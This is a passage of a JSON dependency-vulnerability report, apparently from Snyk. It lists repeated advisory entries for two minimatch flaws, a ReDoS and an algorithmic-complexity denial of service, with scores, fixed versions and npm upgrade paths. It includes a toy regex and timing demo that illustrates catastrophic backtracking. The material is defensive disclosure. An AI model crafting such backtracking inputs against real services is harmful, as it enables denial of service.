the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of 